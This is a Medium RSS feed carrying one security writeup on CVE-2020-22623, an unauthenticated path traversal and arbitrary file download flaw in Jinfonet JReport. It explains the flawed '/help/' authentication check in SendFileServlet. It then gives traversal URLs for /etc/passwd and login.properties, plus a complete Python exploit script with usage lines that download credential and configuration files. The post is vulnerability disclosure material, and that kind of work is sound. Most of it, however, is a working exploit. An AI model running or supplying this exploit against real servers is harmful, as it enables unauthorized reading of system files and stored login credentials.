<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nguyen Hong Phu on Medium]]></title>
        <description><![CDATA[Stories by Nguyen Hong Phu on Medium]]></description>
        <link>https://medium.com/@nguyenhongphu?source=rss-6646280abdac------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*rOzAo0_DiSTgi8dq.</url>
            <title>Stories by Nguyen Hong Phu on Medium</title>
            <link>https://medium.com/@nguyenhongphu?source=rss-6646280abdac------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:29:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nguyenhongphu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2020–22623 — Jinfornet Jreport Unauthenticated Path traversal & Arbitrary File Download]]></title>
            <link>https://medium.com/@nguyenhongphu/cve-2020-22623-jinfornet-jreport-unauthenticated-path-traversal-arbitrary-file-download-83224cef32c8?source=rss-6646280abdac------2</link>
            <guid isPermaLink="false">https://medium.com/p/83224cef32c8</guid>
            <dc:creator><![CDATA[Nguyen Hong Phu]]></dc:creator>
            <pubDate>Mon, 10 Jul 2023 09:30:33 GMT</pubDate>
            <atom:updated>2023-07-10T09:30:33.023Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2020–22623 — Jinfornet Jreport Unauthenticated Path traversal &amp; Arbitrary File Download</h3><p>Quick writeup about Jreport vulnerability allow unauthenticated attacker can perform Patch traversal attack &amp; arbitrary file download.</p><blockquote># Exploit Title: Jreport Jinfornet File Patch Traversal<br># Date: 26/03/2020<br># Exploit Author: hongphukt<br># Vendor Homepage: <a href="https://www.jinfonet.com/">https://www.jinfonet.com/</a><br># Software Link: <a href="https://www.jinfonet.com/product/download-jreport/">https://www.jinfonet.com/product/download-jreport/</a><br># Version: JReport 15.6<br># Tested on: Linux, Windows<br># CVE: CVE-2020–22623</blockquote><p>Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.</p><h3>Technical Details</h3><p>Jreport before loggedin have help function with url:</p><p><a href="https://serverip/jreport/sendfile/help/userguide/server/index.htm">https://serverip/jreport/sendfile/help/userguide/server/index.htm</a></p><p>senfile url processing by <strong>jet.server.servlets.SendFileServlet</strong> class.</p><blockquote>&lt;servlet&gt;<br> &lt;servlet-name&gt;sendfile&lt;/servlet-name&gt;<br> &lt;servlet-class&gt;jet.server.servlets.SendFileServlet&lt;/servlet-class&gt;<br> &lt;/servlet&gt;<br> &lt;servlet-mapping&gt;<br> &lt;servlet-name&gt;sendfile&lt;/servlet-name&gt;<br> &lt;url-pattern&gt;/sendfile/*&lt;/url-pattern&gt;<br> &lt;/servlet-mapping&gt;</blockquote><p>In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’</p><blockquote>if ((!isAuthentic) &amp;&amp; (!path.startsWith(“/help/”))) {<br> httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());<br> return;<br>}</blockquote><p>So the function reading file without any path validation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*i8d2LWnk44xHHhK9RyzE0A.png" /></figure><p>Exploit: <a href="https://www.exploit-db.com/exploits/48260">https://www.exploit-db.com/exploits/48260</a></p><p>Get login properties, /etc/password file by get url:</p><p><a href="http://jreport.test/jreport/sendfile/bin/login.properties">http://jreport.test/jreport/sendfile/help/../bin/login.properties</a></p><p><a href="http://jreport.test/etc/passwd">http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd</a></p><pre># Exploit Code<br><br>import requests<br>import argparse<br><br>def exploit(url, file):<br>    <br>    session = requests.Session()<br>    rawBody = &quot;\r\n&quot;<br>    response = session.get(&quot;{}/jreport/sendfile/help/{}&quot;.format(url,file), data=rawBody)<br><br>    if response.status_code == 404:<br>        print(&quot;The &#39;{}&#39; file was not found.&quot;.format(file))	<br>    else:<br>        print(&quot;-&quot; *22)<br>        print(response.content)<br>        print(&quot;-&quot; *22)<br><br>if __name__ == &quot;__main__&quot;:<br><br>    parser = argparse.ArgumentParser(description=&#39;Jreport Path traversal &amp; Arbitrary File Download&#39;)<br>    parser.add_argument(&#39;-u&#39;, action=&quot;store&quot;, dest=&quot;url&quot;, required=True, help=&#39;Target URL&#39;)<br>    parser.add_argument(&#39;-f&#39;, action=&quot;store&quot;, dest=&quot;file&quot;, required=True, help=&#39;The file to download&#39;)<br>    args = parser.parse_args()<br><br>    exploit(args.url, args.file)<br><br># python jreport_fileread.py -u http://jreport.address -f &quot;../../../../../../../../../../../../../../etc/passwd/&quot;<br># python jreport_fileread.py -u http://jreport.address -f &quot;../bin/login.properties&quot;<br># python jreport_fileread.py -u http://jreport.address -f &quot;../bin/server.properties&quot;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83224cef32c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>